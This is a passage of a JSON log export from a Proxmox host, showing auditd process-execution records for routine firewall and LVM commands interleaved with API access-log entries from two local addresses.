pid=64742 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965596092,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965596.092:66291): arch=c000003e syscall=59 success=yes exit=0 a0=5ee0030a7ac8 a1=7fff57cc6e20 a2=5ee00f1db680 a3=5ee00308b24e items=2 ppid=63664 pid=63666 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965027710,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:07 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1089"} {"@timestamp":1781965849514,"@rawstring":"node=pve type=EXECVE msg=audit(1781965849.514:67368): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964235948,"@rawstring":"node=pve type=EXECVE msg=audit(1781964235.948:60153): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965855967,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965855.967:67408): arch=c000003e syscall=59 success=yes exit=0 a0=584ddc5080a0 a1=584ddc504e20 a2=584ddc4e6680 a3=5 items=2 ppid=64735 pid=64741 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965596091,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965596.091:66290): arch=c000003e syscall=59 success=yes exit=0 a0=7fff57cc6de0 a1=5ee00f1e2310 a2=5ee00f1db680 a3=5 items=2 ppid=63664 pid=63665 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965027710,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:17:06 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 470"} {"@timestamp":1781965845797,"@rawstring":"node=pve type=EXECVE msg=audit(1781965845.797:67365): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964235941,"@rawstring":"node=pve type=EXECVE msg=audit(1781964235.941:60152): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965855963,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965855.963:67407): arch=c000003e syscall=59 success=yes exit=0 a0=584dba965ac8 a1=7ffd4d1f4e90 a2=584ddc4e6680 a3=584dba94924e items=2 ppid=64735 pid=64737 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965596085,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965596.085:66288): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=63664 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965027710,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:06 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 473"} {"@timestamp":1781965845793,"@rawstring":"node=pve type=EXECVE msg=audit(1781965845.793:67364): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964235936,"@rawstring":"node=pve type=EXECVE msg=audit(1781964235.936:60151): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781965855962,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965855.962:67406): arch=c000003e syscall=59 success=yes exit=0 a0=7ffd4d1f4e50 a1=584ddc4ed310 a2=584ddc4e6680 a3=5 items=2 ppid=64735 pid=64736 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965596079,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965596.079:66287): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63663 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965025799,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:05 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 848"} {"@timestamp":1781965845792,"@rawstring":"node=pve type=EXECVE msg=audit(1781965845.792:67363): argc=1 a0=\"date\""} {"@timestamp":1781964235930,"@rawstring":"node=pve type=EXECVE msg=audit(1781964235.930:60150): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965855957,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965855.957:67404): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=64735 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965596071,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965596.071:66286): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63662 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965025799,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:17:04 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1089"} {"@timestamp":1781965845787,"@rawstring":"node=pve type=EXECVE msg=audit(1781965845.787:67361): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964235923,"@rawstring":"node=pve type=EXECVE msg=audit(1781964235.923:60149): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965855950,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965855.950:67403): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64734 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965596063,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965596.063:66285): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63661 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965024741,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:17:03 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 473"} {"@timestamp":1781965845775,"@rawstring":"node=pve type=EXECVE msg=audit(1781965845.775:67360): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964234430,"@rawstring":"node=pve type=EXECVE msg=audit(1781964234.430:60148): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781965855940,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965855.940:67402): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64733 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965596052,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965596.052:66284): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63660 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965024741,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:03 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1087"} {"@timestamp":1781965845767,"@rawstring":"node=pve type=EXECVE msg=audit(1781965845.767:67359): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964234395,"@rawstring":"node=pve type=EXECVE msg=audit(1781964234.395:60147): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781965855932,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965855.932:67401): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64732 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965596046,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965596.046:66283): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5dce8ba19740 items=0 ppid=1156 pid=63659 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965023669,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:02 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 463"} {"@timestamp":1781965845756,"@rawstring":"node=pve type=EXECVE msg=audit(1781965845.756:67358): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964233416,"@rawstring":"node=pve type=EXECVE msg=audit(1781964233.416:60146): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965855924,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965855.924:67400): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64731 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965596042,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965596.042:66282): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc139c20 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63659 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965022095,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:17:01 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1087"} {"@timestamp":1781965845748,"@rawstring":"node=pve type=EXECVE msg=audit(1781965845.748:67357): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964233407,"@rawstring":"node=pve type=EXECVE msg=audit(1781964233.407:60143): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965855920,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965855.920:67399): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=62464cec4740 items=0 ppid=1156 pid=64730 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965596036,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965596.036:66281): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecb6b49fc0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63658 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965022095,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:17:00 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 470"} {"@timestamp":1781965845740,"@rawstring":"node=pve type=EXECVE msg=audit(1781965845.740:67355): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781964228394,"@rawstring":"node=pve type=EXECVE msg=audit(1781964228.394:60140): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965855917,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965855.917:67398): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc130490 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64730 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965596030,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965596.030:66280): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc139bf0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63657 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965020657,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:16:59 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1087"} {"@timestamp":1781965845734,"@rawstring":"node=pve type=EXECVE msg=audit(1781965845.734:67354): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964228385,"@rawstring":"node=pve type=EXECVE msg=audit(1781964228.385:60137): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965855909,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965855.909:67397): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc1304f0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64729 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965596022,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965596.022:66279): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc139bc0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63656 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965020657,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:16:59 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 837"} {"@timestamp":1781965845726,"@rawstring":"node=pve type=EXECVE msg=audit(1781965845.726:67353): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964225910,"@rawstring":"node=pve type=EXECVE msg=audit(1781964225.910:60134): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965855901,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965855.901:67396): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc134880 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64728 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965596015,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965596.015:66278): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc139bf0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63655 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965019054,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:16:58 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 467"} {"@timestamp":1781965845719,"@rawstring":"node=pve type=EXECVE msg=audit(1781965845.719:67352): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964225907,"@rawstring":"node=pve type=EXECVE msg=audit(1781964225.907:60133): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965855894,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965855.894:67395): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc131480 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64727 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965596009,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965596.009:66277): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0cf7e0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63654 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965019054,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:16:58 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1087"} {"@timestamp":1781965845712,"@rawstring":"node=pve type=EXECVE msg=audit(1781965845.712:67351): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964225905,"@rawstring":"node=pve type=EXECVE msg=audit(1781964225.905:60132): argc=1 a0=\"date\""} {"@timestamp":1781965855887,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965855.887:67394): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc134880 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64726 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965596000,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965596.000:66276): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63653 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965019054,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:16:57 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 469"} {"@timestamp":1781965845704,"@rawstring":"node=pve type=EXECVE msg=audit(1781965845.704:67350): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781964225901,"@rawstring":"node=pve type=EXECVE msg=audit(1781964225.901:60130): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965855881,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965855.881:67393): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ae4b30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64725 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965595992,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965595.992:66275): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63652 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965016632,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:16:55 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1087"} {"@timestamp":1781965845696,"@rawstring":"node=pve type=EXECVE msg=audit(1781965845.696:67349): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964225895,"@rawstring":"node=pve type=EXECVE msg=audit(1781964225.895:60129): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965855872,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965855.872:67392): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64724 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965595986,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965595.986:66274): arch=c000003e syscall=59 success=yes exit=0 a0=5c920af71d30 a1=5c920af7df40 a2=5c920af4b680 a3=5 items=2 ppid=63645 pid=63651 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965015617,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:16:55 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1087"} {"@timestamp":1781965845687,"@rawstring":"node=pve type=EXECVE msg=audit(1781965845.687:67348): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964225889,"@rawstring":"node=pve type=EXECVE msg=audit(1781964225.889:60128): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965855865,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965855.865:67391): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64723 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965595980,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965595.980:66273): arch=c000003e syscall=59 success=yes exit=0 a0=5c91cc57bac8 a1=7ffd509fb480 a2=5c920af4b680 a3=5c91cc55f24e items=2 ppid=63645 pid=63647 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965015617,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:16:54 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 463"} {"@timestamp":1781965845681,"@rawstring":"node=pve type=EXECVE msg=audit(1781965845.681:67347): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964225881,"@rawstring":"node=pve type=EXECVE msg=audit(1781964225.881:60127): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965855861,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965855.861:67390): arch=c000003e syscall=59 success=yes exit=0 a0=5d77d6c12e90 a1=5d77d6c0fc10 a2=5d77d6bf1680 a3=5 items=2 ppid=64716 pid=64722 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965595973,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965595.973:66272): arch=c000003e syscall=59 success=yes exit=0 a0=7ffd509fb440 a1=5c920af6d3d0 a2=5c920af4b680 a3=5 items=2 ppid=63645 pid=63646 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965015617,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:16:54 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 469"} {"@timestamp":1781965845677,"@rawstring":"node=pve type=EXECVE msg=audit(1781965845.677:67346): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964225875,"@rawstring":"node=pve type=EXECVE msg=audit(1781964225.875:60126): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965855856,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965855.856:67389): arch=c000003e syscall=59 success=yes exit=0 a0=5d779f573ac8 a1=7ffefcaf67b0 a2=5d77d6bf1680 a3=5d779f55724e items=2 ppid=64716 pid=64718 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965595962,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965595.962:66270): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=63645 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" 